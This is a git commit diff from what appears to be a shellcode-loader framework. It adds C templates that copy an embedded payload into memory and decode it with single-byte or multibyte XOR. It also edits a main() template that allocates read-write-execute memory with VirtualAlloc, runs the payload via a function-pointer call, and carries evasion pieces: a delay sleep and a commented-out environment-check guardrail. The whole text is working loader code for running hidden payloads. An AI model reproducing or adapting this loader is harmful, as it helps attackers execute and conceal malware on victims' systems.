refactor: new data/ structure

This commit is contained in:
Dobin
2024-03-27 20:13:14 +00:00
parent f08334dc1a
commit 4064cf94ba
33 changed files with 151 additions and 52 deletions
+3
View File
@@ -0,0 +1,3 @@
for (int n=0; n<{{PAYLOAD_LEN}}; n++) {
dest[n] = supermega_payload[n];
}
+5
View File
@@ -0,0 +1,5 @@
// Single byte XOR key
for (int n=0; n<{{PAYLOAD_LEN}}; n++){
dest[n] = supermega_payload[n];
dest[n] = dest[n] ^ {{XOR_KEY}};
}
+5
View File
@@ -0,0 +1,5 @@
// Multibyte XOR (untested)
// Need: key, key_len
for ( int i = 0; i < {{PAYLOAD_LEN}}; i++ ) {
dest[i] = supermega_payload[i] ^ key[i % key_len];
}
@@ -21,7 +21,7 @@ int sleep_ms(DWORD sleeptime) {
int main()
{
sleep_ms(10000);
//sleep_ms(10000);
// Execution Guardrail: Env Check
//wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
@@ -37,18 +37,18 @@ int main()
return 6;
}
// Allocate RWX segment
// Allocate 1
// char *dest = ...
{{ plugin_allocator }}
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
// Copy
// Copy (and decode)
// from: supermega_payload[]
// to: dest[]
// len: 0x11223344
{{ plugin_decoder }}
// Execute *dest
{{ plugin_executor }}
(*(void(*)())(dest))();
return 0;
}
@@ -93,7 +93,7 @@ int main()
{{ plugin_decoder }}
// Execute *dest
{{ plugin_executor }}
(*(void(*)())(dest))();
return 0;
}